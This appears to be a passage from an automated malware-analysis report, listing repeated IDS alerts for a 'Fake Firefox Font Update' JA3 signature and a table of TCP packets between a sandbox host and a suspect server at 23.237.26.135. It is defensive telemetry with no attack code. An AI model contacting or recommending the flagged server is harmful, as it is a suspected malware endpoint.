2025-01-14T08:25:43.628047+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49985	23.237.26.135	443	TCP
2025-01-14T08:25:44.504357+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49992	23.237.26.135	443	TCP
2025-01-14T08:25:45.349986+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49999	23.237.26.135	443	TCP
2025-01-14T08:25:46.227450+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50006	23.237.26.135	443	TCP
2025-01-14T08:25:47.122158+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50013	23.237.26.135	443	TCP
2025-01-14T08:25:47.980034+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50021	23.237.26.135	443	TCP
2025-01-14T08:25:48.804639+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50028	23.237.26.135	443	TCP
2025-01-14T08:25:49.830203+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50035	23.237.26.135	443	TCP
2025-01-14T08:25:50.681899+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50042	23.237.26.135	443	TCP
2025-01-14T08:25:51.578764+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50052	23.237.26.135	443	TCP
2025-01-14T08:25:52.426808+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50060	23.237.26.135	443	TCP
2025-01-14T08:25:53.392959+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50068	23.237.26.135	443	TCP
2025-01-14T08:25:54.253235+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50075	23.237.26.135	443	TCP
2025-01-14T08:25:55.075416+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50082	23.237.26.135	443	TCP
2025-01-14T08:25:55.998813+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50089	23.237.26.135	443	TCP
2025-01-14T08:25:56.862166+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50096	23.237.26.135	443	TCP
2025-01-14T08:25:57.683372+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50103	23.237.26.135	443	TCP
2025-01-14T08:25:58.502027+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50110	23.237.26.135	443	TCP
2025-01-14T08:25:59.384352+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50118	23.237.26.135	443	TCP
2025-01-14T08:26:00.242925+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50120	23.237.26.135	443	TCP
2025-01-14T08:26:01.236134+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50122	23.237.26.135	443	TCP
2025-01-14T08:26:02.089568+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50124	23.237.26.135	443	TCP
2025-01-14T08:26:02.915081+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50126	23.237.26.135	443	TCP
2025-01-14T08:26:03.937509+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50128	23.237.26.135	443	TCP
2025-01-14T08:26:04.764248+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50130	23.237.26.135	443	TCP
2025-01-14T08:26:05.612325+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50132	23.237.26.135	443	TCP
2025-01-14T08:26:06.484263+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50134	23.237.26.135	443	TCP
2025-01-14T08:26:07.396304+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50136	23.237.26.135	443	TCP
2025-01-14T08:26:08.222572+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50138	23.237.26.135	443	TCP
2025-01-14T08:26:09.058696+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50140	23.237.26.135	443	TCP
2025-01-14T08:26:09.887775+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50142	23.237.26.135	443	TCP
2025-01-14T08:26:10.743889+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50144	23.237.26.135	443	TCP
2025-01-14T08:26:11.573474+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50146	23.237.26.135	443	TCP
2025-01-14T08:26:12.418745+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50148	23.237.26.135	443	TCP
2025-01-14T08:26:13.274447+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50150	23.237.26.135	443	TCP
2025-01-14T08:26:14.121513+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50152	23.237.26.135	443	TCP
2025-01-14T08:26:14.951345+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50154	23.237.26.135	443	TCP
2025-01-14T08:26:15.784989+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50156	23.237.26.135	443	TCP
2025-01-14T08:26:16.607167+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50158	23.237.26.135	443	TCP
2025-01-14T08:26:17.449118+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50160	23.237.26.135	443	TCP
2025-01-14T08:26:18.295289+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50162	23.237.26.135	443	TCP
2025-01-14T08:26:19.142780+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50164	23.237.26.135	443	TCP
2025-01-14T08:26:19.986402+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50166	23.237.26.135	443	TCP
2025-01-14T08:26:20.837203+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50168	23.237.26.135	443	TCP
2025-01-14T08:26:21.673932+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50170	23.237.26.135	443	TCP
2025-01-14T08:26:22.771786+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50172	23.237.26.135	443	TCP
2025-01-14T08:26:23.610990+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50174	23.237.26.135	443	TCP
2025-01-14T08:26:24.446081+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50176	23.237.26.135	443	TCP
2025-01-14T08:26:25.679498+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50178	23.237.26.135	443	TCP
2025-01-14T08:26:26.518473+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50180	23.237.26.135	443	TCP
2025-01-14T08:26:27.367734+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50182	23.237.26.135	443	TCP
2025-01-14T08:26:28.202406+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50184	23.237.26.135	443	TCP
2025-01-14T08:26:29.152764+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50186	23.237.26.135	443	TCP
2025-01-14T08:26:29.997834+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50188	23.237.26.135	443	TCP
2025-01-14T08:26:30.865691+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50190	23.237.26.135	443	TCP
2025-01-14T08:26:32.090801+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50192	23.237.26.135	443	TCP
2025-01-14T08:26:32.906877+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50194	23.237.26.135	443	TCP
2025-01-14T08:26:33.757723+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50196	23.237.26.135	443	TCP
2025-01-14T08:26:34.606927+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50198	23.237.26.135	443	TCP
2025-01-14T08:26:35.601975+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50200	23.237.26.135	443	TCP
2025-01-14T08:26:36.449531+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50202	23.237.26.135	443	TCP
2025-01-14T08:26:37.322175+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50204	23.237.26.135	443	TCP
2025-01-14T08:26:38.252434+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50206	23.237.26.135	443	TCP
2025-01-14T08:26:39.075259+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50208	23.237.26.135	443	TCP
2025-01-14T08:26:39.938542+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50210	23.237.26.135	443	TCP
2025-01-14T08:26:40.768604+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50212	23.237.26.135	443	TCP
2025-01-14T08:26:41.626806+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50214	23.237.26.135	443	TCP
2025-01-14T08:26:42.495456+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50216	23.237.26.135	443	TCP
2025-01-14T08:26:43.346954+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50218	23.237.26.135	443	TCP
2025-01-14T08:26:44.526119+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50220	23.237.26.135	443	TCP
2025-01-14T08:26:45.342533+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50222	23.237.26.135	443	TCP
2025-01-14T08:26:46.158158+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50224	23.237.26.135	443	TCP
2025-01-14T08:26:47.212167+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50226	23.237.26.135	443	TCP
2025-01-14T08:26:48.036830+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50228	23.237.26.135	443	TCP
2025-01-14T08:26:48.876997+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50230	23.237.26.135	443	TCP
2025-01-14T08:26:49.734736+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50232	23.237.26.135	443	TCP
2025-01-14T08:26:50.647571+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50234	23.237.26.135	443	TCP
2025-01-14T08:26:51.583395+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50236	23.237.26.135	443	TCP
2025-01-14T08:26:52.426314+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50238	23.237.26.135	443	TCP
2025-01-14T08:26:53.396160+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50240	23.237.26.135	443	TCP
2025-01-14T08:26:54.234360+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50242	23.237.26.135	443	TCP
2025-01-14T08:26:55.106020+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50244	23.237.26.135	443	TCP
2025-01-14T08:26:55.976103+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50246	23.237.26.135	443	TCP
2025-01-14T08:26:56.803324+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50248	23.237.26.135	443	TCP
2025-01-14T08:26:57.657244+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50250	23.237.26.135	443	TCP
2025-01-14T08:26:58.545637+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50252	23.237.26.135	443	TCP
2025-01-14T08:26:59.373484+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50254	23.237.26.135	443	TCP
2025-01-14T08:27:00.198096+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50256	23.237.26.135	443	TCP
2025-01-14T08:27:01.020386+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50258	23.237.26.135	443	TCP
2025-01-14T08:27:01.889183+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50260	23.237.26.135	443	TCP
2025-01-14T08:27:02.710738+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50262	23.237.26.135	443	TCP
2025-01-14T08:27:03.534372+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50264	23.237.26.135	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 08:24:57.900146961 CET	49712	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:57.900187969 CET	443	49712	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:57.900262117 CET	49712	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:57.900902987 CET	49712	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:57.900959015 CET	443	49712	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:57.901007891 CET	49712	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:57.921050072 CET	49713	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:57.921102047 CET	443	49713	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:57.921175957 CET	49713	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:57.922182083 CET	49713	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:57.922199011 CET	443	49713	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.491760969 CET	443	49713	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.491957903 CET	49713	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.513247967 CET	49713	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.513269901 CET	443	49713	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.513581991 CET	443	49713	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.555681944 CET	49713	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.584793091 CET	49713	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.627331972 CET	443	49713	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.723376036 CET	443	49713	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.723449945 CET	443	49713	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.723501921 CET	49713	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.726463079 CET	49713	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.726483107 CET	443	49713	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.726495028 CET	49713	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.726500034 CET	443	49713	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.866111040 CET	49714	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.866158962 CET	443	49714	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.866275072 CET	49714	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.866965055 CET	49714	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.867032051 CET	443	49714	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.867084980 CET	49714	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.869688988 CET	49715	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.869729996 CET	443	49715	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:58.869796038 CET	49715	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.870099068 CET	49715	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:58.870114088 CET	443	49715	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.409446955 CET	443	49715	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.409579992 CET	49715	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.411286116 CET	49715	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.411299944 CET	443	49715	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.411573887 CET	443	49715	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.412811995 CET	49715	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.455327034 CET	443	49715	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.582544088 CET	443	49715	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.582608938 CET	443	49715	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.582679987 CET	49715	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.582971096 CET	49715	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.582997084 CET	443	49715	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.583013058 CET	49715	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.583019972 CET	443	49715	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.724750042 CET	49716	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.724807978 CET	443	49716	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.725035906 CET	49716	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.725035906 CET	49716	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.725230932 CET	443	49716	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.725415945 CET	49716	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.728413105 CET	49717	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.728449106 CET	443	49717	23.237.26.135	192.168.2.5
Jan 14, 2025 08:24:59.728543043 CET	49717	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.728781939 CET	49717	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:24:59.728802919 CET	443	49717	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.276153088 CET	443	49717	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.276263952 CET	49717	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.277309895 CET	49717	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.277323961 CET	443	49717	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.277746916 CET	443	49717	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.279184103 CET	49717	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.319329023 CET	443	49717	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.450998068 CET	443	49717	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.451095104 CET	443	49717	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.451154947 CET	49717	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.451409101 CET	49717	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.451417923 CET	443	49717	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.451447010 CET	49717	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.451451063 CET	443	49717	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.594261885 CET	49718	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.594310045 CET	443	49718	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.594436884 CET	49718	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.594794989 CET	49718	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.594822884 CET	443	49718	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.594896078 CET	49718	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.637854099 CET	49719	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.637921095 CET	443	49719	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:00.637990952 CET	49719	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.638370037 CET	49719	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:00.638391018 CET	443	49719	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.194215059 CET	443	49719	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.194303989 CET	49719	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.233306885 CET	49719	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.233341932 CET	443	49719	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.233664036 CET	443	49719	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.254864931 CET	49719	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.299334049 CET	443	49719	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.564578056 CET	443	49719	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.564898014 CET	443	49719	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.564951897 CET	49719	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.567620039 CET	49719	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.567645073 CET	443	49719	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.567658901 CET	49719	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.567665100 CET	443	49719	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.706898928 CET	49720	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.706985950 CET	443	49720	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.707093000 CET	49720	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.746480942 CET	49720	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.746557951 CET	443	49720	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.746643066 CET	49720	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.896855116 CET	49721	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.896905899 CET	443	49721	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:01.896991968 CET	49721	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.897398949 CET	49721	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:01.897416115 CET	443	49721	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.452474117 CET	443	49721	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.452651978 CET	49721	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.454687119 CET	49721	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.454699039 CET	443	49721	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.454958916 CET	443	49721	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.456388950 CET	49721	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.499340057 CET	443	49721	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.626491070 CET	443	49721	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.626557112 CET	443	49721	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.626650095 CET	49721	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.626924038 CET	49721	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.626924038 CET	49721	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.626944065 CET	443	49721	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.626954079 CET	443	49721	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.754848003 CET	49722	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.754906893 CET	443	49722	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.755014896 CET	49722	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.755254030 CET	49722	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.755311012 CET	443	49722	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.755395889 CET	49722	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.757235050 CET	49723	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.757275105 CET	443	49723	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:02.757360935 CET	49723	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.757816076 CET	49723	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:02.757827044 CET	443	49723	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.329030037 CET	443	49723	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.329142094 CET	49723	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.330574989 CET	49723	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.330583096 CET	443	49723	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.330821991 CET	443	49723	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.332395077 CET	49723	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.379337072 CET	443	49723	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.506561995 CET	443	49723	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.506716967 CET	443	49723	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.506797075 CET	49723	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.507214069 CET	49723	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.507214069 CET	49723	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.507235050 CET	443	49723	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.507244110 CET	443	49723	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.644623995 CET	49724	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.644695044 CET	443	49724	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.644809008 CET	49724	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.644917011 CET	49724	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.645004034 CET	443	49724	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.645068884 CET	49724	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.649477005 CET	49725	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.649527073 CET	443	49725	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:03.649631977 CET	49725	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.649979115 CET	49725	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:03.649997950 CET	443	49725	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:04.201658010 CET	443	49725	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:04.201770067 CET	49725	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:04.203490973 CET	49725	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:04.203505039 CET	443	49725	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:04.203901052 CET	443	49725	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:04.206861019 CET	49725	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:04.247334957 CET	443	49725	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:04.373600006 CET	443	49725	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:04.373677969 CET	443	49725	23.237.26.135	192.168.2.5
Jan 14, 2025 08:25:04.373749018 CET	49725	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:04.388380051 CET	49725	443	192.168.2.5	23.237.26.135
Jan 14, 2025 08:25:04.388401985 CET	443	49725	23.237.26.135	192.168.2.5
